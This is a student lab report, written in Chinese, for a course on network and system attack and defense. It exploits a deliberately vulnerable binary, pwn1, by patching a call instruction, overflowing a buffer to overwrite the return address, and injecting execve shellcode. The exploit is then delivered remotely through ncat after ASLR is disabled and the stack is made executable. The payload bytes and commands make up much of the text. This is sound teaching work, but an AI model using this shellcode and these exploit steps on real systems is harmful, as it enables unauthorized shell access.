当前位置: 首页 > news >正文

20232419 2025-2026-1《网络与系统攻防技术》实验一实验报告

一、实验目标及内容

实验内容:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验目标:理解可执行文件与机器指令
理解攻击缓冲区的结果,掌握返回地址的获取
能正确构造payload进行Bof攻击

二、基础知识

linux基础知识

ls:列出当前目录下的文件和文件夹
cd:切换目录
pwd:显示当前所在目录的路径
mkdir:创建新文件夹
cp:复制文件或文件夹
mv:移动或重命名文件或文件夹
rm:删除文件或文件夹
“|”:管道
“>”:输入、输出重定向
Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中

机器码基础知识

NOP:空操作,直接下一条指令
CMP:比较操作数,修改标志位
JMP:无条件跳转
JE/JZ:跳转指令,相等则跳转
JNE/JNZ:跳转指令,不等则跳转

反汇编与十六进制

反汇编:objdump -d 操作文件
切换为十六进制::%!xxd
切换为原模式::%!xxd -r

三、实验过程

(1)反汇编

下载目标文件pwn1,用objdump -d pwn20232416 | more反汇编。

Kali linux-2025-10-11-14-17-52

Kali linux-2025-10-11-14-18-58
根据图片可知我们需要将08048491改为0804847d,二者求差取其补码可得0xffffc3,即将命令改为e8c3,所以我们接下来要做的是更改“e8d7”为“e8c3”,代码如下:

点击查看代码
cp pwn1 pwn20232416 
vi pwn20232416  //进入修改
:%!xxd        //改为16进制  
:%!xxd -r     //变为原进制

Kali linux-2025-10-05-22-04-48

Kali linux-2025-10-05-22-07-23

Kali linux-2025-10-05-22-07-49

Kali linux-2025-10-05-22-09-05
再反汇编看一下,call指令是否正确调用getShell。

Kali linux-2025-10-05-22-10-20

执行文件查看能否运行。
Kali linux-2025-10-06-22-36-03
可以看出成功达成目标。

(2)通过构造输入参数,造成BOF攻击,改变程序执行流

首先安装gdb,命令如下:

点击查看代码
sudo apt update
sudo apt install gdb
用objdump -d pwn1 | more反汇编,了解程序的基本功能。 接着用命令下载gdb:
点击查看代码
sudo apt update
sudo apt install gdb
安装成功

Kali linux-2025-10-06-22-41-49
接着确认输入字符串哪几个字符会覆盖到返回地址,代码如下

点击查看代码
root@KaliYL:~# gdb pwn1
(gdb) r
Starting program: /root/pwn1 
1111111122222222333333334444444455555555(gdb) info r
(gdb) r
Start it from the beginning? (y or n) y
Starting program: /root/pwn1 
1111111122222222333333334444444412345678
(gdb) info r

Kali linux-2025-10-06-22-44-18

Kali linux-2025-10-06-22-45-54

Kali linux-2025-10-06-22-47-46

Kali linux-2025-10-06-22-48-59

Kali linux-2025-10-06-22-50-19

可见如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
最后是构造输入字符串,我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键,接着可以使用16进制查看指令xxd查看input文件的内容是否如预期,最后将input的输入,通过管道符“|”,作为pwn1的输入。。

Kali linux-2025-10-06-23-00-11

(3)注入Shellcode并执行

重新复制一份pwn文件命名为pwn20232419,通过patchelf工具设置堆栈可执行并查询是否可执行,关闭地址随机化。

点击查看代码
patchelf --set-execstack pwn20232416-0     
readelf -l pwn20232416-0 | grep GNU_STACK
echo "0" > /proc/sys/kernel/randomize_va_space 
more /proc/sys/kernel/randomize_va_space      

Kali linux-2025-10-10-22-49-07
构造要注入的payload.

点击查看代码
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
打开另一个终端,将input_shellcode作为输入注入到pwn20232416-0.
点击查看代码
perl -e 'print "A" x 32 . "\x60\xd3\xff\xff"."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20232419

Kali linux-2025-10-10-22-50-26
使用命令来查看进程号并且启动gdb调试并设置断点,按c后去老终端按下回车,否则c会不停。

点击查看代码
ps -ef | grep pwn20232419
gdb
(gdb)attach 58466
(gdb)disassemble foo
(gdb)break *0x080484ae

Kali linux-2025-10-10-22-49-46
查看断点地址并查看该地址存放的内容。

点击查看代码
(gdb)info r esp
(gdb) x/16x 0xffffcf1c
![Kali linux-2025-10-10-22-49-59](https://img2024.cnblogs.com/blog/3265665/202510/3265665-20251011214112330-320928367.png) 0xffffcf1c+ 0x00000004 = 0xffffcf20通过查询后计算可得到Shellcode地址后,生成输入文件。再以input_shellcode为输入运行pwn20232419

Kali linux-2025-10-10-22-49-07

(4)结合nc模拟远程攻击

首先下载ncat,命令如下:

点击查看代码
sudo apt update
sudo apt install ncat
克隆我的kali主机,ifconfig后,两个IP地址显然在同一局域网下,所以可以互相ping通,操作如下

Kali linux-2025-10-10-22-59-14

Kali linux 的克隆-2025-10-10-23-14-47

在主机1,模拟一个有漏洞的网络服务。同时主机2,连接主机1并发送攻击载荷:

点击查看代码
ncat -l 192.168.175.129 -p 28234  -e ./pwn20232419     //主机1命令(cat input_shellcode; cat) | nc 192.168.175.129 28234
ls                                                    //主机2命令

Kali linux 的克隆-2025-10-10-23-14-47

Kali linux-2025-10-10-23-14-57

ncat模拟远程攻击成功.

三、问题及解决方案

1.管道破裂问题

Kali linux-2025-10-10-22-50-26
出现那串字符后什么都不按就行了,必须出现两行的进程之类的,只有一行说明管道破裂,得重来。

2.execstack下载问题

这个既无法通过命令行下载,也无法通过网址下载(显示404 NOT FOUND)方法是找到可替代工具patchelf,同时指令也会对应发生一些变化,见实验过程详细步骤。

四、学习感悟及思考

真是没谁了,从国庆中秋的中期就开始做到现在,求爷爷告奶奶般的到处问同学,期间出了一堆问题还走了不少死路问ai都没能完全搞定,最后还得一位同学做完并向他请教后方才能够完成这次实验,太累了,因此在10月10日完成后真是有种解脱感。

http://www.hskmm.com/?act=detail&tid=30244

相关文章:

  • 完整教程:用deepseek部署全自动的机器人--bytebot
  • 44. 开发商购买土地
  • 当AI与机器人走进生活:我们即将迎来的日常变革
  • 显微镜厂家TOP10推荐:拓界光电以创新技术引领精密观测新时代
  • net中使用了垃圾回收机制(GC)功能
  • 2025 超景深三维显微镜厂家 TOP10 推荐:三维成像技术的行业应用标杆​
  • 音乐节奏跳动
  • CF2160 Codeforces Round 1058 (Div. 2) 游记
  • 2025年国内铝单板工厂推荐/国内铝单板厂家/ 市场铝单板推/公司榜荐
  • 一个老码农的掏心窝推荐:微擎,我后悔没早点遇到的开发利器
  • 国内铝单板工厂推荐/国内铝单板厂家/ 市场铝单板推荐:四川汇才铝业有限公司
  • 超景深显微镜厂家TOP10推荐:拓界光电引领精密观测新时代
  • 2025 闪蒸/流化床/喷雾/实验型喷雾/离心喷雾/压力喷雾/流化床喷雾/桨叶/盘式/真空耙式干燥机厂家推荐榜单:技术适配与场景落地能力成核心考量
  • 2025 年点胶机源头厂家最新推荐排行榜:自动 / 果冻胶 / 无痕内衣 / 烫钻 / 珠宝热熔胶等多类型设备优质企业精选
  • harbor 局域网https 自签名证书搭建
  • HyperWorks许可证使用报告生成
  • 2025年国内铝单板工厂推荐/国内铝单板厂家/ 市场铝单板推/公司权威排行榜荐
  • 小程序 拖动节点
  • ORA-00604: 递归 SQL 级别 1 出现错误 ORA-01000: 超出打开游标的最大数
  • Python的解释器
  • 10月13号
  • shiro快速启动
  • netty思维导图总结
  • gitreset、revert
  • 2025 年直流电弧炉厂商最新推荐排行榜:全面剖析优质企业技术实力与产品优势,助力各行业企业精准选购适配设备贵金属/节能直流/环保直流电弧炉厂家推荐
  • 2025 海外仓服务公司最新推荐榜单:含维修换标特色服务,三大优选品牌口碑解析美国/英国/德国/法国海外仓公司推荐
  • MaxKB 的 RAG 引擎和向量存储实现细节
  • 工业相机传感器CCD的原理及基础知识
  • ubuntu22.04安装激活Navicat15详细教程
  • 20232406 2025-2026-1 《网络与系统攻防技术》实验一实验报告